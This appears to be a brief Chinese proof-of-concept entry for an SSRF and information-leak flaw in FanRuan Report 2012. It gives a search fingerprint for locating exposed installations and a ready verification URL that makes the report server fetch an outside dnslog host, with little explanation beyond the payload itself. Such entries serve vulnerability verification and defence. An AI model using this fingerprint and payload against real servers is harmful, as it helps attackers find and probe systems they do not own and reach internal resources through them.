帆软报表 2012 存在信息泄露漏洞,通过访问特定的Url获取造成SSRF
[!NOTE] 帆软报表 2012
[!NOTE]
帆软报表 2012
[!NOTE] body="down.download?FM_SYS_ID"
body="down.download?FM_SYS_ID"
漏洞验证Url为
/ReportServer?op=resource&resource=0m0m6k.dnslog.cn